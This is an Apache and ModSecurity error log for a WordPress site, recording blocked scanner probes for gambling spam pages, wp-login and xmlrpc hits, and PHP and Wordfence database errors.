[Mon Feb 02 02:51:09.647425 2026] [:error] [pid 10509:tid 10587] [client 91.65.123.43:4244] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aX-gnVMNpJBihOJgwVtONgAAAJA"]
[Mon Feb 02 02:51:12.456055 2026] [:error] [pid 51610:tid 51616] [client 91.65.123.43:32206] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aX-goN7GFdNFAqImMQBgBAAAAUI"]
[Mon Feb 02 02:51:20.455701 2026] [:error] [pid 29578:tid 29583] [client 91.65.123.43:59883] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aX-gqEwa4IUBrS8Q04EJ9AAAAYE"]
[Mon Feb 02 03:22:38.445215 2026] [:error] [pid 54377:tid 54399] [client 43.166.128.86:48870] [client 43.166.128.86] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aX-n_vhqUeHWOT-OYVyttgAAAJE"]
[Mon Feb 02 04:28:22.758079 2026] [:error] [pid 63032:tid 63068] [client 60.188.57.0:39866] [client 60.188.57.0] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aX-3ZnyEQ1PkpebvdRgH1AAAAAU"]
[Mon Feb 02 04:47:50.910843 2026] [:error] [pid 63032:tid 63065] [client 45.130.83.167:40625] [client 45.130.83.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aX-79nyEQ1PkpebvdRgO0wAAAAI"]
[Mon Feb 02 04:47:52.130935 2026] [:error] [pid 63153:tid 63164] [client 45.92.229.234:31179] [client 45.92.229.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "aX-7-HC9GXHnmLkdgdmjTwAAAMM"]
[Mon Feb 02 06:13:16.806031 2026] [:error] [pid 33612:tid 33622] [client 37.77.150.123:52923] [client 37.77.150.123] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.77.150.123, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aX_P_MtFn80qQEmo5QpMPAAAAQg"], referer: https://vetstars.com.au/wp-login.php
[Mon Feb 02 10:08:19.266211 2026] [:error] [pid 57022:tid 57066] [client 193.70.33.35:41708] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aYAHExnEgLMzfcurxfnjIAAAAo4"]
[Mon Feb 02 10:08:22.446067 2026] [:error] [pid 56989:tid 56995] [client 193.70.33.35:41720] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aYAHFkp44HnChN-GZlhJvQAAAgQ"]
[Mon Feb 02 11:49:13.554141 2026] [:error] [pid 57022:tid 57064] [client 185.241.211.8:64224] [client 185.241.211.8] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aYAeuRnEgLMzfcurxfn0JwAAAow"]
[Mon Feb 02 11:49:14.419011 2026] [:error] [pid 56989:tid 57001] [client 185.241.211.8:64460] [client 185.241.211.8] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aYAeukp44HnChN-GZlhuOwAAAgo"]
[Mon Feb 02 11:49:15.283824 2026] [:error] [pid 57021:tid 57042] [client 185.241.211.8:64840] [client 185.241.211.8] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aYAeu_7AEpx7VcmYK3GoVQAAAlE"]
[Mon Feb 02 11:49:16.147291 2026] [:error] [pid 57022:tid 57056] [client 185.241.211.8:65193] [client 185.241.211.8] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aYAevBnEgLMzfcurxfn0fQAAAoQ"]
[Mon Feb 02 11:49:17.006983 2026] [:error] [pid 57022:tid 57065] [client 185.241.211.8:65347] [client 185.241.211.8] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aYAevRnEgLMzfcurxfn0gAAAAo0"]
[Mon Feb 02 12:22:38.423860 2026] [proxy_fcgi:error] [pid 33612:tid 33631] [client 103.4.122.14:45104] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfconfig (name, val, autoload) values ('currentCronKey', '', 'yes') ON DUPLICATE KEY UPDATE val = '', autoload = 'yes' made by do_action('wp_ajax_nopriv_wordfence_doScan'), WP_Hook->do_action, WP_Hook->apply_filters, wordfence::ajax_doScan_callback, wfScan::wfScanMain, wfConfig::setPHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfconfig (name, val, autoload) values ('wfsd_engine', '', 'no') ON DUPLICATE KEY UPDATE val = '', autoload = 'no' made by do_action('wp_ajax_nopriv_wordfence_doScan'), WP_Hook->do_action, WP_Hook->apply_filters, wordfence::ajax_doScan_callback, wfScan::wfScanMain, wfConfig::set'
[Mon Feb 02 12:23:33.414231 2026] [proxy_fcgi:error] [pid 57080:tid 57110] [client 103.4.122.14:45242] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfconfig (name, val, autoload) values ('currentCronKey', '', 'yes') ON DUPLICATE KEY UPDATE val = '', autoload = 'yes' made by do_action('wp_ajax_nopriv_wordfence_doScan'), WP_Hook->do_action, WP_Hook->apply_filters, wordfence::ajax_doScan_callback, wfScan::wfScanMain, wfConfig::setPHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfconfig (name, val, autoload) values ('wfsd_engine', '', 'no') ON DUPLICATE KEY UPDATE val = '', autoload = 'no' made by do_action('wp_ajax_nopriv_wordfence_doScan'), WP_Hook->do_action, WP_Hook->apply_filters, wordfence::ajax_doScan_callback, wfScan::wfScanMain, wfConfig::set'
[Mon Feb 02 12:35:04.378747 2026] [proxy_fcgi:error] [pid 57021:tid 57039] [client 103.4.122.14:47116] AH01071: Got error 'PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Mon Feb 02 12:35:18.010479 2026] [proxy_fcgi:error] [pid 56989:tid 56991] [client 103.4.122.14:47180] AH01071: Got error 'PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Trying to get property 'version' of non-object in /home/vetstars/public_html/wp-content/plugins/wp-fastest-cache-premium/pro/library/update.php on line 132PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Mon Feb 02 14:49:51.617854 2026] [proxy_fcgi:error] [pid 56989:tid 57003] (70007)The timeout specified has expired: [client 173.252.87.24:36004] AH01075: Error dispatching request to : (polling)
[Mon Feb 02 15:04:05.459949 2026] [:error] [pid 63153:tid 63162] [client 156.146.60.76:25244] [client 156.146.60.76] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 156.146.60.76, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aYBMZXC9GXHnmLkdgdk6qQAAAME"], referer: https://vetstars.com.au/
[Mon Feb 02 19:53:43.974741 2026] [:error] [pid 63032:tid 63069] [client 193.70.46.175:50440] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aYCQR3yEQ1PkpebvdRjdnAAAAAY"]
[Mon Feb 02 19:53:46.567686 2026] [:error] [pid 56989:tid 56992] [client 193.70.46.175:42632] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aYCQSkp44HnChN-GZlgGvQAAAgE"]
[Mon Feb 02 19:53:49.218791 2026] [:error] [pid 63032:tid 63081] [client 193.70.46.175:42642] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aYCQTXyEQ1PkpebvdRjdoAAAABI"]
[Mon Feb 02 19:53:51.955678 2026] [:error] [pid 33612:tid 33634] [client 193.70.46.175:42658] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aYCQT8tFn80qQEmo5Qr8YgAAARQ"]
[Mon Feb 02 19:53:54.590332 2026] [:error] [pid 63153:tid 63172] [client 193.70.46.175:33226] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aYCQUnC9GXHnmLkdgdl-0gAAAMs"]
[Mon Feb 02 19:53:57.114478 2026] [:error] [pid 63034:tid 63123] [client 193.70.46.175:33230] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aYCQVeKXlgw75_wfbHrWhwAAAIU"]
[Mon Feb 02 19:53:59.586674 2026] [:error] [pid 57022:tid 57062] [client 193.70.46.175:33240] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aYCQVxnEgLMzfcurxflGlAAAAoo"]
[Mon Feb 02 19:54:02.106947 2026] [:error] [pid 57022:tid 57059] [client 193.70.46.175:33252] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aYCQWhnEgLMzfcurxflGlwAAAoc"]
[Mon Feb 02 19:54:04.615287 2026] [:error] [pid 63034:tid 63119] [client 193.70.46.175:52206] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aYCQXOKXlgw75_wfbHrWjgAAAIE"]
[Mon Feb 02 19:54:07.132461 2026] [:error] [pid 63032:tid 63083] [client 193.70.46.175:52210] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aYCQX3yEQ1PkpebvdRjdtgAAABQ"]
[Mon Feb 02 19:54:09.685718 2026] [:error] [pid 63153:tid 63184] [client 193.70.46.175:52214] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aYCQYXC9GXHnmLkdgdl-6AAAANc"]
[Mon Feb 02 19:54:12.081954 2026] [:error] [pid 57081:tid 57138] [client 193.70.46.175:52218] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aYCQZGvouJ2Jkm6HfBg1uQAAAxc"]
[Mon Feb 02 19:54:14.644641 2026] [:error] [pid 63153:tid 63165] [client 193.70.46.175:34242] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aYCQZnC9GXHnmLkdgdl--gAAAMQ"]
[Mon Feb 02 19:54:17.181324 2026] [:error] [pid 57081:tid 57131] [client 193.70.46.175:34254] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aYCQaWvouJ2Jkm6HfBg1wAAAAxA"]
[Mon Feb 02 19:54:19.617064 2026] [:error] [pid 63034:tid 63142] [client 193.70.46.175:34262] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aYCQa-KXlgw75_wfbHrWnwAAAJg"]
[Mon Feb 02 19:54:22.154611 2026] [:error] [pid 57021:tid 57048] [client 193.70.46.175:34276] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aYCQbv7AEpx7VcmYK3H3MQAAAlc"]
[Mon Feb 02 19:54:24.571019 2026] [:error] [pid 56989:tid 56991] [client 193.70.46.175:54056] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aYCQcEp44HnChN-GZlgHCgAAAgA"]
[Mon Feb 02 19:54:27.121198 2026] [:error] [pid 57081:tid 57117] [client 193.70.46.175:54058] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aYCQc2vouJ2Jkm6HfBg1ygAAAwI"]
[Mon Feb 02 19:54:29.759600 2026] [:error] [pid 63032:tid 63082] [client 193.70.46.175:54070] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aYCQdXyEQ1PkpebvdRjdwgAAABM"]
[Mon Feb 02 19:54:32.216669 2026] [:error] [pid 57021:tid 57037] [client 193.70.46.175:54074] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aYCQeP7AEpx7VcmYK3H3OwAAAkw"]
[Mon Feb 02 19:54:34.739351 2026] [:error] [pid 33612:tid 33637] [client 193.70.46.175:46834] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20168.aspx"] [unique_id "aYCQestFn80qQEmo5Qr8hgAAARc"]
[Mon Feb 02 19:54:37.344186 2026] [:error] [pid 63153:tid 63179] [client 193.70.46.175:46840] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20auto.aspx"] [unique_id "aYCQfXC9GXHnmLkdgdl_HwAAANI"]
[Mon Feb 02 19:54:39.803074 2026] [:error] [pid 63032:tid 63077] [client 193.70.46.175:46850] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "aYCQf3yEQ1PkpebvdRjd4wAAAA4"]
[Mon Feb 02 19:55:24.064850 2026] [:error] [pid 63153:tid 63173] [client 193.70.46.175:46858] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aYCQrHC9GXHnmLkdgdl_awAAAMw"]
[Mon Feb 02 19:55:26.523202 2026] [:error] [pid 57081:tid 57131] [client 193.70.46.175:38282] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aYCQrmvouJ2Jkm6HfBg2KAAAAxA"]
[Mon Feb 02 19:55:29.034410 2026] [:error] [pid 63153:tid 63170] [client 193.70.46.175:38298] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aYCQsXC9GXHnmLkdgdl_dAAAAMk"]
[Mon Feb 02 19:55:31.586614 2026] [:error] [pid 56989:tid 57010] [client 193.70.46.175:38312] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aYCQs0p44HnChN-GZlgHigAAAhM"]
[Mon Feb 02 19:55:34.197655 2026] [:error] [pid 63032:tid 63070] [client 193.70.46.175:59440] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aYCQtnyEQ1PkpebvdRjeUQAAAAc"]
[Mon Feb 02 19:55:36.729922 2026] [:error] [pid 46008:tid 46029] [client 193.70.46.175:59448] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aYCQuCRa52iYn7SlSMmeLgAAAVI"]
[Mon Feb 02 19:55:39.264365 2026] [:error] [pid 63153:tid 63168] [client 193.70.46.175:59456] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aYCQu3C9GXHnmLkdgdl_egAAAMc"]
[Mon Feb 02 19:55:41.657859 2026] [:error] [pid 57081:tid 57138] [client 193.70.46.175:59464] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aYCQvWvouJ2Jkm6HfBg2NgAAAxc"]
